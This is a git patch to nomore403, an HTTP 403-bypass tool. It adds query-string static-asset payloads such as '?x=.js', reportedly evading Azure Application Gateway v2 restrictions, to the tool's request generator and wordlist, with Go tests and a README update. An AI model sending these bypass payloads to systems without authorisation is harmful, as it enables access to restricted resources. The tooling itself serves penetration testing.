From 413d77a50ad1c308e807a620bd55c72b11320548 Mon Sep 17 00:00:00 2001 From: devploit Date: Fri, 30 Oct 2026 22:12:36 +0100 Subject: [PATCH] feat(bypass): add static-asset extension in query string payloads Adds the "?x=.js" family of payloads to the suffix-tricks technique and to payloads/endpaths. Why: a 403 bypass against Microsoft-Azure-Application-Gateway/v2 was reported (https://x.com/4osp3l, 2026-10-24) where appending "?x=.js" to a forbidden URL grants access. The gateway rule matches the full request URI against static-asset suffixes, so the request is classified as an asset and skips the restriction, while the origin ignores the query and serves the protected resource. nomore403 already tried extensions on the path (/admin.js) and arbitrary query parameters (?debug=1), but never an extension as a query value, so this variant was not covered. suffix-tricks now emits ?x= for .js/.css/.png/.ico/.svg, preserving the original query string when present. payloads/endpaths gains the same values plus bare ?.js/?.css/?.png so the default wordlist run also exercises the bypass. Tests pin both behaviours. --- README.md | 2 +- cmd/bypass_test.go | 70 ++++++++++++++++++++++++++++++++++++++++++++++ cmd/requester.go | 11 ++++++++ payloads/endpaths | 8 ++++++ 4 files changed, 90 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 11f88d3..de910f5 100644 --- a/README.md +++ b/README.md @@ -286,7 +286,7 @@ The tool runs all techniques by default unless you specify `-k`. - `path-normalization` - dot-segment and semicolon normalization variants - `suffix-tricks` - - suffix and extension tricks such as `.json`, `.css`, `;index.html`, and format-style query toggles + - suffix and extension tricks such as `.json`, `.css`, `;index.html`, format-style query toggles, and static-asset extensions in the query string (`?x=.js`, as seen bypassing Azure Application Gateway v2) - `payload-position` - inserts payloads at explicitly marked positions in the URL diff --git a/cmd/bypass_test.go b/cmd/bypass_test.go index 29bc25c..f4b181b 100644 --- a/cmd/bypass_test.go +++ b/cmd/bypass_test.go @@ -1739,3 +1739,73 @@ func TestCrossTechniqueDedupCollapsesSimilarFamilies(t *testing.T) { t.Fatalf("expected similar cross-technique result to be collapsed") } } + +// TestSuffixTricksSendsQueryExtensionVariants covers the Azure Application +// Gateway bypass where the static-asset extension lives in the query string +// (e.g. /admin?x=.js) instead of the path, so path-based allow rules match. +func TestSuffixTricksSendsQueryExtensionVariants(t *testing.T) { + resetTestState() + + var mu sync.Mutex + var capturedURIs []string + + ts, _ := testServer(t, func(w http.ResponseWriter, r *http.Request) { + mu.Lock() + capturedURIs = append(capturedURIs, r.URL.RequestURI()) + mu.Unlock() + w.WriteHeader(http.StatusForbidden) + fmt.Fprint(w, "Forbidden") + }) + defer ts.Close() + + opts := RequestOptions{ + uri: ts.URL + "/admin/panel?id=7", + headers: []header{{"User-Agent", "test"}}, + method: "GET", + proxy: &url.URL{}, + timeout: 5000, + rateLimit: false, + redirect: false, + verbose: true, + } + + requestSuffixTricks(opts) + + mu.Lock() + defer mu.Unlock() + want := []string{ + "/admin/panel?x=.js", + "/admin/panel?x=.css", + "/admin/panel?x=.js&id=7", + } + for _, w := range want { + found := false + for _, uri := range capturedURIs { + if uri == w { + found = true + break + } + } + if !found { + t.Errorf("expected query-extension variant %q, got %v", w, capturedURIs) + } + } +} + +// TestEndPathsPayloadFileContainsQueryExtensionVariants pins the shipped +// wordlist so the query-string extension bypass is exercised by default. +func TestEndPathsPayloadFileContainsQueryExtensionVariants(t *testing.T) { + lines, err := parseFile("../payloads/endpaths") + if err != nil { + t.Fatalf("parse payloads/endpaths: %v", err) + } + have := map[string]bool{} + for _, l := range lines { + have[l] = true + } + for _, w := range []string{"?x=.js", "?x=.css", "?x=.png", "?.js", "?.css"} { + if !have[w] { + t.Errorf("payloads/endpaths missing %q", w) + } + } +} diff --git a/cmd/requester.go b/cmd/requester.go index d027a4e..29511eb 100755 --- a/cmd/requester.go +++ b/cmd/requester.go @@ -3133,11 +3133,22 @@ func requestSuffixTricks(options RequestOptions) { baseURL + pathValue + "?" + "format=json", baseURL + pathValue + "?" + "output=1", } + // Static-asset extension placed in the query string rather than the path. + // Edge rules that match the full request URI against static-file suffixes + // (seen on Azure Application Gateway v2) treat /admin?x=.js as an asset + // and skip the restriction, while the origin still serves /admin. + queryExtensions := []string{".js", ".css", ".png", ".ico", ".svg"} + for _, ext := range queryExtensions { + payloads = append(payloads, baseURL+pathValue+"?x="+ext) + } if parsedURL.RawQuery != "" { payloads = append(payloads, baseURL+pathValue+";?"+parsedURL.RawQuery, baseURL+pathValue+".json?"+parsedURL.RawQuery, ) + for _, ext := range queryExtensions { + payloads = append(payloads, baseURL+pathValue+"?x="+ext+"&"+parsedURL.RawQuery) + } } payloads = removeDuplicates(payloads) diff --git a/payloads/endpaths b/payloads/endpaths index 23e8827..39de4c6 100755 --- a/payloads/endpaths +++ b/payloads/endpaths @@ -66,3 +66,11 @@ %3Ffoo.php %3F.php %23foo +?x=.js +?x=.css +?x=.png +?x=.ico +?x=.svg +?.js +?.css +?.png